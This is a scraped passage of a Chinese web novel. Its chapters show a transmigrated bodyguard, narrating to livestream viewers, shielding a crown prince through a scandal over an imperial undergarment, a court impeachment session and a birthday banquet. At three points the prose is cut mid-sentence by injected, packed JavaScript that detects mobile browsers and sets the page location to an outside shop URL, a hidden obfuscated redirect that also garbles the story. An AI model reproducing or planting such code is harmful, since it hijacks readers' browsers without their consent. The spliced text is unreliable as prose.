穆辞忧跪在地上,俯首道:“臣找到一个肚兜,以为是刺客所留,遂扰乱后宫。臣罪该万死!但凭陛下处置。” 皇帝握着明黄色肚兜,皱着眉头,连连咂嘴,不知在琢磨什么。 少顷,他放了穆辞忧,宣来了顾念安。 穆辞忧在东宫等待着顾念安,忐忑不安得在大门踱步,石阶纹路都快被他的足迹磨平了。 遥见一人,踏着月光,缓步而行,身形挺拔,如岳峙渊渟。 长喜躬身在后,掌灯趋行。 夜色中,穆辞忧看不清他的脸,只能看见一个轮廓。 直到这人走近了,穆辞忧才发现顾念安两边脸蛋活活胖出一圈,五指掌痕清晰可见。 长喜骂道:“死少保,您可害苦太子了喽!” “不必再说了。”顾念安一抬手,示意长喜闭嘴。 弹幕【主播害太子挨打】 【皇帝以前舍不得打太子,这次肯定生气了!】 【穆少保啊,长点心吧。】 穆辞忧心生愧疚,抢过长喜手中的灯笼:“公公,劳您去取些冰来。” 长喜反应过来,这冰是要给太子敷脸,紧着跑开了。 “孤不碍事的。” “怎么不碍事,殿下龙凤之姿,现在脸肿得跟个发面馒头似的,有损仪容。臣把罪行自己揽下了,陛下怎么还责罚了您,不就是藏个肚兜么。” 顾念安一把捂住穆辞忧的嘴,在耳边低语:“先进寝殿。” 寝殿内熏香清雅,一人高的青铜镜上倒映出两人的身影。 “父皇说,祸起于我,理应受罚。” “殿下,对不起,都怪臣鲁莽,害您挨打,请您责罚臣。” 顾念安微微一笑,脸肿得看不到酒窝。 “穆哥哥怎么这么好,总是把所有过失都自己揽下。父皇责罚孤,是恨铁不成钢,与你无关。” 穆辞忧心想:“顾念安不就是私藏件女人内衣么,也没做什么实质的行为,皇帝说几句就算了,怎么还动手了?都是凡人,谁能控制七情六欲呢?这小子正是青春躁动的年纪,越管越叛逆。” “臣愚昧,铁就是铁,为什么要成为钢呢,做自己不好吗?” 顾念安听后,先是微微一怔,他脸上的笑容瞬间冻结,时间静止一刹那,骤然发出畅快的放声长笑,笑得流出眼泪。 长喜取冰而回,第一次见到太子殿下这般疯魔,不禁狠狠剜了一眼穆辞忧。 穆辞忧也一头雾水,接过冰盆,解释道:“公公,这次真的不关我事啊!” 顾念安早有吩咐,若是穆辞忧在寝殿,则不用长喜在旁伺候,长喜送完冰便退下了。 等顾念安笑累了,穆辞忧奉上茶水。 顾念安轻濡一口。 弹幕 【直男哄人技巧:多喝热水!】 【主播这才对嘛,哄好太子殿下,赐“穿云箭”一支】 【看前面穆辞忧养伤那段。顾念安好体贴,他俩谁是主,谁是仆,我傻傻分不清。】 【老皇帝也是,哪有让太子伺候臣子的道理?】 【谁让穆辞忧有个好爹呢】 【对,小穆沾了老穆的光,皇帝舍不得惩罚他。】 穆辞忧看着弹幕脱口而出:“殿下,皇帝偏爱臣是因为臣的父亲,陛下看在臣父亲的面子上,不忍责罚臣。” 顾念安笑吟吟道:“穆哥哥,孤说过你我二人之间不分君臣,私下里,你不必自称臣子。”他停顿一霎,“孤幼时见过几次穆将军,他一身肌肤作古铜之色,不像穆哥哥如此白皙。” “我爹说过,我长得随我娘。我娘是胡姬,我有异族血统。”穆辞忧也喝了一口茶。 在现实中,穆辞忧也有四分之一的少数民族血统,经常被人误认为混血。 顾念安从怀里掏出惹事生非的罪魁祸首——明黄色肚兜。 这可是顾念安在御书房内撒泼打滚,挨了一个巴掌,硬抢夺来的肚兜。 弹幕【我就想知道,这个肚兜是给谁穿的?】 【我也想知道!】…… 穆辞忧吐槽:这是女人的肚兜,嫌疑人就是那位通房,这届网友真傻X。 明黄色只可皇帝、皇后使用。 这肚兜不是别人的,是顾念安小时候在他父皇的衣柜中发现此物。顾念安看着喜欢,便偷偷藏起。 当然,顾念安也很想知道这个肚兜是谁的? 因为这个肚兜的形状和尺寸,就不是给女子所穿。 顾念安正展开肚兜往自己身上比划着,但听穆辞忧说道: “殿下,您别看我长得不像我爹,可我这身材练得与我爹一模一样。” 明黄色肚兜往穆辞忧身上一比。 天啊!竟然出奇的合身! 弹幕【太子遗传了皇上的xp】 【破案了!】【破案了!】【破案了!】…… 顾念安也破案了! 这肚兜是专门为一个男人定制,一个同穆辞忧身材一样的男人,他就是穆辞忧的父亲——护国将军穆威凤。 顾念安眼底的笑意化为一片惊骇,手中一松,肚兜掉落。 穆辞忧反应迅捷,一下接住了肚兜,他正愁用什么布料包裹冰块呢。 “是他?不可能、不可能……”顾念安自言自语嘀咕着。 “不就是挨了亲爹两下巴掌吗?殿下怎么还魔障了,又笑又哭又胡言乱语。我小时候淘气,经常挨我爹打,那叫一个疼啊!嘿,有一次我给我爹气急眼了,他用棍棒打我,生生给棒子打断了……” 穆辞忧嘴上不停说,手里也不闲着,把一个明黄色的冰包贴在顾念安脸上。 这肚兜采用蚕丝织金锦,轻柔光滑,包上冰块,别提多贴肤。 冰包一刺激,凉意从头上到了脚尖。 顾念安登时灵台清醒。 他拉上穆辞忧的手,像是村口老太太唠家常一样,喃喃道:“穆哥哥,以前父皇生辰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793629|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆将军来过几次,他会给父皇送礼物,也会送给孤一些小男孩玩的兵器。” 穆辞忧笑道:“我说我都长大了,我爹定制那些小玩意儿都是给谁的?原来是送到了你小子手里。” 顾念安记得,在七岁之前,父皇每年生辰,穆将军必到。 他清楚地忆起在六岁那年,父皇生辰日,穆将军因调职一事与父皇产生了分歧。幼时的他本来在穆将军怀里抱着,一争吵,便被父皇夺过来交给了奶妈,奶妈把自己抱走后,再也没见过穆将军。 但每年父皇生辰,依旧有从边境送来的礼物,自己也有一份。 “穆将军在世时,每年都送给孤礼物,孤现在还留着。穆哥哥,今年孤的十八岁生辰,你要送孤什么?” 穆辞忧暗想:“谁说要你送你礼物了?” 一抬眼,对上顾念安那殷切渴望的眼神,似繁星入眸。 一个“诺”字又轻飘飘地出了口。 “殿下生辰那天,我会为您准备一份大礼。” 穆辞忧转念唤起正事了,他闹了一天的目标是找出通房、勾引通房,以此求死啊! 与其没有头绪的乱找,不如直截了当问顾念安。 “不知殿下生辰那日,您那位通房会不会来?” 穆辞忧心中小算盘一打:到了那天,我假装喝多了,往通房大胸脯子上一扑,必死无疑! 弹幕【闹了一天,主播原来在调查这个!】 【看来穆郎很介意的】 【吾与东宫通房熟美?】 【我赌一百个万里炮,他回来!】 【他会来!】【他会来!】【他会来!】… 穆辞忧暗中吐槽:这届网友不止傻,还太懒,都不改换女字旁的她。 顾念安的瞳孔骤然一转,望着铜镜中的穆辞忧,答道:“他会来。” …… 铜镜中,顾念安的脸消肿了。 明黄色的冰包在金盆中洗干净,挂在太阳底下晾晒,寒风一吹,荡起不属于这个季节的春光。 顾念安不再偷偷摸摸藏着此物了。他选择正视自己的内心,不是‘钢’又有何妨? 长喜看见那面随风飘摇的黄旗,眉头蹙起,愁容满面:“我的好殿下呦,这明黄色能随随便便挂出来吗?您和穆少保日夜厮混在一起,怎也学了他那不怕死的胆子,干了僭越的事儿。” 听见“日夜厮混”四字,顾念安不禁扯唇浅笑。 “长喜你放心吧,这是父皇赏赐给我的黄肚兜,不算僭越。” 至于是怎么个“赏赐法”,天知地知,这对父子知。 顾念安的脸上又传来隐隐疼痛,打归打,骂归骂,到底是血浓于水。顾念安未料到自己的龙阳之癖完全遗传于父亲,连喜好口味也原封不动遗传了。 入夜,月华如水,更深露重。 穆辞忧捡下晾干的肚兜。 他瞧得出来,顾念安对这肚兜十分喜爱,心说:“小龙崽子也是俗人一个,那通房不就是上面多了二两肉么,竟能把顾念安迷得神魂颠倒?切!我不止上面多二两肉,下面还多四两肉呢!” 肚兜被穆辞忧放在顾念安的枕边。 而穆辞忧把自己放在顾念安的锦被中。 缘于这位太子殿下最近半夜喊冷,嚷嚷着要往穆辞忧被窝里钻,穆辞忧嫌太挤,只好出此下策。 弹幕【穆少保还有暖床业务!】 【小火炉尽职尽责啊!】 【主播是个会疼人儿的】 【穆郎已暖床,等睡一起,我就刷礼物!】 【我也是】 顾念安正书房忙碌。 穆辞忧见四下无人,小声嘀咕:“老铁们,我们天天睡在一起啊!” 弹幕【他不能打字,但是能说话啊!】 【这不就互动上了吗!】 【主播古代人的厕纸好用吗?】 “北境的不好用!入东宫后,顾念安给我定制了最柔软的那种。” 【主播你会用毛笔写字吗?】 “我本人会用,但是这个角色是个武夫,手上用惯了兵器,写得字都看不清。还好有顾念安,他把着我的手,一笔一划教我写。” 【……】 …… 在同一片月色下,荣王府的灯火昏黄一团。 顾凯旋在房门口探着头,左顾右盼,确认梁间檐角俱无人踪后,紧紧关上了议事房的门。 房内烛影映着大臣们、门客们的脸,为首之人切齿低语: “我要顾念安活不过十八岁生辰。” 一位幕僚出来说:“恐怕您要先解决另一个人。” 6. 风流 夜幕卷收,晓色云开。 金銮殿,金碧耀九重,蟠龙擎玉柱。 五颜六色的朝服,按品级,从左右两侧鱼贯而入。 君临天下,百官朝圣。 “众卿平身。” 大臣们起身,朝服上杂着清冷的晨露。他们用笏板挡住自己的脸,不敢直视天颜。 皇帝本以为今日的早朝并无不同,奏事内容无非是漕运、烽火、民生、赋税…… “臣有本奏。” “讲。” 一位穿着绯色袍子的大臣,跪了下去,额头紧贴着地面:“臣听闻太子少保惑乱后宫。” “此小事朕已查明,一场误会,朕已提点过穆少保。”皇帝一带而过,未做多言。 一位青色袍子大臣也跪下:“臣有本奏,穆少保他乃是外臣,正是气旺方刚之年,保不齐对后宫女子动了心思,不可常年住在内宫中……” 青色袍子没说完,又来一位紫色袍子的大臣:“此事非同小可,臣听闻……”他描绘了大概经过,把肚兜一词用贴身衣物代替,字字珠玑。 绿色袍子从队列中走出:“臣也有本要奏,臣听闻穆少保常年流连烟花柳巷,风流成性……” “臣也有本要奏,” 大臣们一个又一个,来势汹涌。 “还有谁要弹劾穆少保,都一起站出来。”皇帝问道。 三分之一的大臣站在殿中间。 “好,好!许翰林,将直言进谏的众卿家名字记录下来。” 这位圣上向来独断专权,恩威自出。 自他登基以来,第一次见到结党抗上的场面,这些人早晚得处理了。 在龙椅的侧下方,太子监国听政,一言不发,望了一眼徐海兴。 徐海兴上前说道:“那日臣在东宫授课,据臣所知,穆少保是受太子的旨意,捉拿刺客。” 御林军统领江叶光,甩着膀子走出来,红色朝服套在他身上,徒然穿出莽夫之质:“这皇宫的守卫由臣负责,捉拿刺客也该交给臣来办。” 看来江家坐不住了。 满宫风雨的肚兜事件,明明下了封口令,却是传到了前朝。这走漏风声之人必是江叶光的妹妹——宁妃江叶宁。 徐海兴嘲笑一声:“呵,交给你?!这一年多来,太子殿下多次遭到暗害,你江统领就是这么负责的?穆少保的职责是保障殿下身体康健,捉拿刺客也是分内之职。” 周墨煜给徐海兴递了一个目光,晦涩难懂。 徐海兴刚张开的嘴,又悄悄闭上。 周墨煜则出来打圆场:“臣不知具体经过,但穆少保对太子殿下是忠心耿耿,虽然扰乱后宫,出发点却是一片赤诚。” 一位白胡子阁老从列队中走出:“那对皇帝是否忠心呢?你小小后辈,不知全貌,不要断言。当时,穆少保手中的衣物是明黄色,此物来自东宫。” 这话语间暗藏的机锋,指向东宫急于夺权。 众大臣都窃视着太子顾念安。 徐海兴见形势不妙,不顾周墨煜的暗示,反驳道:“那又如何,江统领失职,经常放一些刺客进东宫,已有先例。这明黄色之物出现在东宫,必是有心之人故意栽赃陷害太子,我倒是要问问江统领是怎么守卫皇宫的?” “你、你……”江叶光一激动,指着徐海兴,舌头打结了。 丞相江炎霆与江叶光眼神交汇,江叶光放下手,合上唇。 江炎霆道:“徐少师任职于东宫,自然是要为主子辩解几句。” 高手过招,不在于唇齿间的风雷,而在于言外之意。 徐海兴摇头:“非也,陛下任命我为少师,我的主子是陛下。而江统领失职是事实摆在眼前,穆少保多次营救太子,遭了某人的嫉妒。 ” 江统领还是没忍住,抢上话:“我嫉妒他?一个白俘之子!” 顾念安心中长出一口气,江叶光早晚得死在这张臭嘴上! 不谈皇帝与穆威凤的私情。单说朝堂之上,辱骂功臣后人的出身,已然是大不敬。 老谋深算的江丞相怎么生了一个傻儿子。 从上方传来怒斥声:“放肆,穆家满门忠烈,为国捐躯。穆将军更是戍边几十年,从未娶妻,幸得苍天开眼,留下了这唯一的血脉。岂容你诟骂?” 隔着旒冕,大臣们看不清皇帝的表情。 徐海兴借着这股劲儿,搭上皇帝的话锋,忙道:“陛下,正因穆少保来自北境,北境民风粗狂、不拘小节,他自幼在此地生活,养成狂野放浪的性子,不为世俗礼教所困,在旁人口中,总带着几分放荡不羁。实则兼听则明,偏信则暗,此事发生于后宫内廷,外面传得人云亦云,恐有不实。不如让穆少保自己来说。” 皇帝颔首。 太监喊道:“宣穆辞忧觐见~~~~” 穆辞忧从不上早朝,他还没睡醒就被叫了起来。 翻了半天,终于找到了朝服,来不及梳头,随意挽了一个发髻,扣上乌纱帽,迷迷糊糊跑出了东宫。 路上一朵梅花飘落,正巧沾在了穆辞忧的乌纱帽上。 那位传闻中的穆少保刚踏入金銮殿,诸臣目光便被他牢牢攫住。 顾念安第一次见到穆辞忧穿朝服,惊艳之瞬,竟凝气停息。 那一眼,宝殿褪去了金碧,群英褪去了锦绣,周围一切沦为黯淡模糊的背景,唯有一抹绯红色永刻心头。 百官朝服的衣型皆为同款,仅是因官位不同,而颜色有别。 而这件绯红色官袍,穿在穆辞忧身上,却显得卓然不群,自有一段风流韵味。 缘何以异之? 众人的视线瞻在穆辞忧乌纱帽的上的小梅花,眼睛都忘了眨。 岂缘此芳华? 史官将这一幕记载为:落花风流。 “臣太子少保穆辞忧,叩见陛下,吾皇万岁万岁万万岁。” 一句话,拉回了众人意识。大臣们刻意偏移了视线。 “陛下,臣有罪,请陛下赐死。” 哪有人上殿就请罪,搞得皇帝一头雾水,问道:“平身,说说你有何罪?” 穆辞忧手指交织在一起,思考片刻:“臣……昨日……给太子殿下开小灶,硬喂殿下吃烤大虾,导致殿下过敏,后背起疹子,臣罪该万死!” 答非所问。 众人一片唏嘘。 “孤无碍,穆少保勿要自责。”顾念安道。 弹幕【对不上号啊!】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793630|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【一个说城门楼子,一个说胯骨肘子。】 穆辞忧又想到一事,遂言:“臣在教导太子殿下时,采用了‘魔鬼训练法’,此法非凡人能承受,导致太子多次昏厥晕倒。臣罪不可赦啊!!!” “无妨,孤很是受用!”顾念安道。 弹幕【顾念安比越王还够贱啊!】 【抖m,鉴定完毕。】 【大抖m,鉴定完毕。】 穆辞忧稍缓片刻,又言:“臣贪污腐败,以给太子定制武器一事为由,收了那铁匠的一筐鸭梨。” “那梨甚甜,孤也吃了。”顾念安道。 弹幕【他作死的事儿太多,大概忘了。】 【哈哈,主播至少每日一作。】 【一个肚兜引发的血案】 这条弹幕浮现,穆辞忧马上说道:“臣知道了,那肚兜大,后宫女子匈小,都不合身,没找到潜伏的刺客,是臣失职,请陛下赐死。” 弹幕【好直白,满朝文武都知道后宫女人小了,笑哭!】 【他明明是没找到通房。】 【嘿嘿,通房远在天边近在眼前。】 穆辞忧眼睛往前方看:皇帝,太子,太监总管,还有一位紫袍老头,就是没有一个女人,心道:“弹幕又在诓骗我。” 徐海兴冲着群臣摊开手,左顾右盼着前行,两字一顿:“听听,听听,听听……”而后停在与江炎霆并排的位置,跪在地上,“陛下,穆少保因找不到刺客,懊悔不已,欲以死谢罪,其心一片赤诚啊!” 一位身着青袍的年轻大臣走出队列:“穆少保风姿特秀,心思纯净,怎会是狂且好色之徒?某些龌龊之辈,勿将他人也想龌龊了!” 不知是谁,在群臣中蛐咕:“今日得见穆少保,哪儿如谣言中放荡不羁,分明是洒脱超逸,毫无思凡之心!” “是啊,穆少保忠心天地可鉴。” “所谓相由心生,穆少保一表人才,尽忠职守,本应受到嘉奖!” 又有三分之一的大臣主动站出来,替穆辞忧说好话,局势出现大转机。 穆辞忧视线右上角浮现新字幕【声望3万】 穆辞忧用意念唤醒系统:“老阎,我多了声望值,能干啥用?” 【系统:声望值越高,权力越大,声望值封顶是一个“小目标”。】 “一个亿?” 【系统:对,声望达到一个亿,你当皇后都行。】 穆辞忧吐槽:什么鸡肋的破功能,我一个男人,为啥要当皇后? 周墨煜道:“殿下,臣私以为穆少保有勇有谋,他拿着证物,在后宫女眷中比对,是担心刺客混入后宫,对圣上和娘娘们不利。穆少保的行为,虽犯了宫规,但出发点是为了保护各位娘娘,实乃情有可原。” 论全朝堂上谁最机灵,非周墨煜莫属。但一个人太会审时度势,见风使舵,反而没了立场。 皇帝闻言找到了台阶下,问着穆辞忧:穆少保,你的出发点是不是为了保护后宫娘娘们? “不!不!不!陛下勿听小人谗言,臣有罪,请陛下赐死!” 穆辞忧极力辩解,但求一死! 周墨煜一脸懵逼…… 皇帝一脸懵逼…… 7. 春药 “不!不!不!陛下勿听小人谗言,臣有罪,请陛下赐死!” 穆辞忧极力辩解,但求一死! 江统领道:“穆少保自己都心虚了,保护娘娘们是臣的分内之职,与他穆辞忧何干?陛下,他失了臣子的分寸,应依律受罚。” 穆辞忧认出来了,说话的这位就是负责守卫皇宫的人,太子多次遭到刺客暗害,与他脱不了干系,心道:“我死也要拉个垫背的人。老子就瞅你不爽了!开始整活!” “陛下,臣自从担任太子少保的那一刻,就励志不能让一只蚊子叮咬太子殿下。那么大一个肚兜被刺客放进东宫,是臣保卫不利,怎能脱罪。臣见其他宫殿守卫松懈,担心刺客混入其中,这才打扰了娘娘们的清净。臣本以为此事应属于皇宫守卫失职,相关人员早已处罚,未料到今日又翻出来,造成朝堂混乱。臣难辞其咎,罪该万死,请殿下治罪。” 队友徐海兴领会到其意,阴阳了一句:“江统领,看看人家穆少保这觉悟,励志不让一只蚊子咬到太子,作为相关人员的你呢?放了好几只大蚊子飞进东宫。此事,先有刺客闯入东宫,再有肚兜栽赃一事,而后穆少保才去后宫调查。追根溯源,是你御林军守卫不利啊!” …… 弹劾穆辞忧的大臣与力挺穆辞忧的大臣形成两派,唇枪舌战。 顾念安全程不发一言,坐山观虎斗。 剩下三分之一的大臣们,低着头,也静观其变。 穆辞忧在有罪和无罪之间徘徊。那颗求死的小心脏期待着阎王的眷顾,一会儿上升、一会儿下降。 争吵了半个时辰,皇帝听烦了,拍板定下结论:“穆辞忧因调查刺客,无意中扰乱后宫秩序。死罪可免,但活罪难逃。朕念他自幼在北境长大,不懂皇宫礼数,罚他学习宫规半年,期间不许踏出东宫半步。” 此论一出,江炎霆的眼睛眯成一条缝,再次用笏板挡住自己的脸,不让别人看出他的表情。 在场的人都明白,这点惩罚,哪儿是治罪啊? 穆辞忧那颗心脏跌落谷底:今日份作死失败! 皇帝又厉色道:“江统领护卫不利,东宫多次混入刺客。今日又出言不逊,辱骂功臣之后。按律罚俸三年,降职为五品郎将。” “噗通”一声,江叶光跪下,磕头如捣蒜:“陛下开恩!” 一位大臣颤颤巍巍走出,替江叶光求情:“臣恳请陛下念在其往日忠心,网开一面!” 顾念安哪能让江叶光翻身,这网就不能开。 “父皇,御林军不可无首,新的御林军统领由谁担任?”顾念安紧忙上奏,直接把话茬转移到新的统领身上。 “原副统领丘北铭升为御林军正统领,副统领一职由……”皇帝看向穆辞忧,犹豫一瞬。 第一位勇于替穆辞忧发言的青袍年轻大臣说道:“陛下,臣斗胆,臣觉得穆少保有勇有谋,忠心耿耿,能胜任副统领。” 话音甫落,群臣也跟着附和,“是啊,是啊,副统领非穆少保莫属……” 穆辞忧还未来得及反驳,但听那位紫袍老头说出了穆辞忧心中的台词: “穆少保不懂布防,怎可当此重任?” “江丞相此言差矣,穆少保在北境军中跟着护国将军立下战功无数,怎能不懂布防。”徐海兴道。 穆辞忧瘪嘴暗道:“猪队友喂,求别提我爹咧,一提准没好事。听江丞相的话吧,晚点再怼他吧。” 皇帝摸了摸腰间那块来自北境的玉佩,张开金口,说出玉言:“待穆少保闭门思过半年后,任御林军副统领一职。朕意已决,众位卿家不必再讨论此事。” 他威福由己多年,此话一出,无人敢反驳。 弹幕【一个肚兜让穆统领走上了政治舞台。】 【庆祝高升‘穿云箭’一支!】 【反派也有反派光环。】…… 下朝后,东宫三少走在一起。 “恭喜辞忧兄。”周墨煜拱手道。 穆辞忧不解其意:“今日这是唱的哪儿处戏?” 在顾念安的庇护下,穆辞忧不问政事,不上早朝,天天在东宫太子床上睡到自然醒,头一回上朝,就遇到这种奇葩局面。穆辞忧想先打听局势,心底有个准备,下次再上朝时,提前预估‘作死’的途径。 “这段叫穆少保化险为夷,江丞相搬石砸脚。”徐海兴掏出扇子,在手中旋转。 穆辞忧略皱眉头,嘟囔道:“大早上叫我起床,结果要杀不杀的,白激动了一场。” 徐海兴惊讶:“你这么想杀头?亏得我和那些大臣力保你。” 扇子敲在了穆辞忧肩头:“我和你说,在这个节骨眼儿上,你不能死,你死了,太子就危险了。” 穆辞忧面露忧色。 “这是为何?请兄台明示。” 可不能让太子先死,否则怎么脱离书中。 周墨煜插上了话,只讲述人物关系:“江丞相是宁妃的父亲,大皇子的外祖父。江统领是宁妃的兄长,江丞相长子,大皇子的舅舅。”说着已经踏入了东宫。 一共两句话,都围绕着大皇子,穆辞忧恍然大悟:那些暗害顾念安的人,都是大皇子的人。 皇宫戒备森严,怎会有那么多机会对太子下手?除非是有人故意放水。 而这个人就是负责守卫皇宫的御林军统领,大皇子的舅舅,江叶光。 原来对权力的欲望,真能令手足相残。 徐海兴补充道:“鸙鸟将击,卑飞敛翼;猛兽将搏,弭耳俯伏。欲害太子,先减掉羽翼,辞忧兄多次保护太子殿下,是最大的羽翼。” 又转头叮嘱周墨煜:“今日他们把矛头指向了辞忧兄,明日可能就是你我,墨煜兄也要多加小心。” 依据三人的讨论,大皇子的外戚势力强大,江丞相即是帝师又是国丈,后宫沾亲带故,前朝朋党众多,难以撼动。 穆辞忧找到一条更明确的‘作死’之路:谁敢动书中男主,管什么丞相、皇子,老子见一个干掉一个。用我一条命换顾念安一生平安。 …… 顾念安下朝后,直接被皇帝叫走,商量了半天后,才回到东宫。 一见到穆辞忧便露出了梨涡。 “穆少保果然没让孤失望,出场即扭转了局面,这招以退为进,博取舆论,大杀江家。” 弹幕【群臣是颜狗】 【对,他们都是被穆辞忧的美色迷惑了。】 【从哪找来的主播,长得比明星都帅。】 穆辞忧内心:长得帅也是错吗?因为帅,我求死都不能如愿! 顾念安走到穆辞忧正对面,帮穆辞忧卸下头上的乌纱帽。 穆辞忧发现自己平视着顾念安的眼睛。 “这半年,殿下长高不少,都赶上臣了。” “少保安排的内补外修,对孤提升颇大。” 顾念安摘掉乌纱帽上的梅花,置于鼻尖轻嗅,把帽子还给穆辞忧。 次日早朝,许多大臣乌纱帽上都沾了点点梅花,包括周墨煜。 整个金銮殿内暗香浮动。 史官记载为‘穆辞忧落花风流的后续’。 …… 穆辞忧在东宫禁足的日子,说是学习宫规,其实是学习厨艺。 一是他怕黑暗料理哪天给顾念安吃死了,自己困在书中,得不偿失。 二是他答应送顾念安生辰礼,思前想后,决定为顾念安做一桌子好菜,弥补自己吃了顾念安的许多山珍海味。 “我都答应送顾念安生日礼物了,人岂能言而无信?”穆辞忧如是所想。 岁暮天寒。 顾念安跟着穆辞忧打雪仗,冻得鼻涕直流。 “穆哥哥,孤冷,想借用穆哥哥的体温。” 今年冬日好像格外冷,暖床也会很快转凉。 穆辞忧推辞多次,却无任何效果。早上醒来时,被窝里总会多一个人。 久而久之,穆辞忧也渐渐习惯了,甚至换成了双人被。 诡异的是穆辞忧肌肤上偶尔会多一些红痕。 “这小龙崽子蔫坏,趁我熟睡,偷偷打我,报复我对他的严苛。” 经肚兜一事,穆辞忧歪打正着,让皇帝找到打压江家的契机。 御林军统领换成了从北境军调回的丘北铭后,再无刺客混入东宫。 顾念安仍不敢掉以轻心,正月初一的大朝会都没参加。 春寒料峭。 穆辞忧的厨艺渐长,顾念安用膳不再难以下咽,不再清茶顺饭。 春暖花开。 穆辞忧做出一道辣炒鸡肉块,深受顾念安喜爱。因是东宫少保研制,顾念安命名为宫保鸡丁。 春去夏来。 蝉鸣阵阵,绿荫如盖,穆辞忧搬了个小凳子,坐在树荫下,监督顾念安扎马步。 “殿下,挺胸收腹,腰背竖直,重心放低。” 顾念安双脚分开,略宽于肩,双臂平举,膝盖缓缓弯曲,身体下沉,整个人便似骑在了一匹矫健的奔马背上。 一只蜻蜓从顾念安眼前飞过,点破荷塘的心,荡开圈圈涟漪。 “殿下,下颌微收,目视前方。” 半个时辰后,顾念安汗如雨下,两眼一黑。 长喜尖锐的声音喊道:“太子殿下晕啦!快传御医!穆少保体罚太子,你活够了吗?” 活够了,但死不了! 怎料害太子中暑这等大事,皇帝居然没责怪穆辞忧。 穆辞忧心灰意冷,不禁思索:“今日作死又失败,我那便宜爹老穆和皇帝交情到底有多硬啊?能让杀人如麻的景熙帝拿我当亲犊子护着。” 五月初一,顾念安的生辰日。 荷塘的花静静绽放,热风卷着荷花的清香,吹进东宫宫殿内。 一箱箱礼物也吹进东宫,箱内的奇珍异宝闪瞎了穆辞忧的狼眼。 “殿下,这小瓶如此精致,瓶中是何物?也是生肌平痕膏吗?”穆辞忧在精致的小红木盒中拿出一个雕花白玉瓶。 穆辞忧眼前的半透明屏幕右上角多出新栏【行囊】 顾念安扫了一眼木盒中其他物件,紧忙合盖子。 “嗯,咳咳,这个木盒是内务府给成年皇子配置,以备不时之需。” 偏偏手有点抖,这盖子怎么也盖不严。 顾念安索性不盖了。 “这盒中物近期用不到,孤暂且收起来。” 内务府还送来了新制的杏黄色吉服,穆辞忧展开一抖,“阿嚏!阿嚏!”香气袭人,熏得穆辞忧连连打喷嚏。 他把吉服挂在衣架上。 缂丝绣出的八条金龙,活灵活现,盘在金丝织的吉服上。 一件吉服倾尽了江南织造一年的心血。 长喜提醒:“殿下,您快穿上吉服,一会儿要去太庙祭祖拜天。” 顾念安道:“不急,还有些时辰。” 顾念安换上吉服,腰间束上服带。 嵌着龙纹与祥云的服带,衬得顾念安身姿更加挺拔。 头顶吉冠,冠中间压着一颗硕大的明珠,映得整个人如初升朝阳,光华内蕴。 穆辞忧未过禁足期,无法看到顾念安接受群臣朝拜的样子,心中有一丝遗憾,嘴角不受控制地下垂。 夜幕低垂,宫灯亮起。 穆辞忧在东宫小厨房内备菜,数完百合果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793631|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又数莲子粒,接着数大枣,最后数花生米。 弹幕【百年好合、早生贵子】 …… 穆辞忧手都数抽筋了,不禁骂道:“顾念安个臭小子怎么还不回来。我啥时候起锅烧油?” 他没等来顾念安,却等来了皇帝的召唤。 养心殿内,丝竹清雅,暖色生香。 皇帝坐于上方主位,后妃、皇子、公主按顺序坐于下方两侧。 他们对穆辞忧的到来倍感意外。 “穆辞忧是外姓人,怎么能参加皇室家宴。”顾凯旋身着玄色绣蟒袍,生得一副好皮囊,眉宇间与皇帝有几分相似,一双鹰眼居高临下的审视着穆辞忧。 穆辞忧:“我没想来啊,那我走啦。” “皇兄此言差矣,普天之下都是父皇的子民,何来姓氏之分?”说话这人,坐在顾凯旋旁边的位置上,一身绛紫色华服,面容姣好,没有顾凯旋那种趾高气昂的样子。此人是慎王顾归朝。 “穆少保是来给太子哥哥庆生,去留自然应由太子哥哥决定。”一位豆蔻年华的女子开口,这位小姑娘就是康乐公主——顾念初,自幼养在惠嫔名下。穆辞忧在东宫见过她多次,顾念安说康乐公主长得很像已故皇后。 “穆少保,坐到孤身旁,给孤尝菜。”顾念安冲着穆辞忧一招手,眨了一下左眼。 穆辞忧的脚步不由自主的走向顾念安。 当穆辞忧坐下的一瞬,他听见有一位后妃的酒杯倒了。 这位后妃打扮得最雍容华贵,座位离皇帝最近,穆辞忧见过她几次面,她就是宁妃。 弹幕【这顿家宴是鸿门宴。】 【顾念安就不应该参加!】 【主播小心啊!】 …… 穆辞忧极为谨慎,每一道菜,先仔细试毒后,再夹给顾念安。 碗箸叮当,杯酒铮鸣。 御膳全部尝完后,未发现任何异常,难道是我和老铁们多虑了? 宴席间有几个女人多次给顾念安敬酒:“恭贺殿下。” 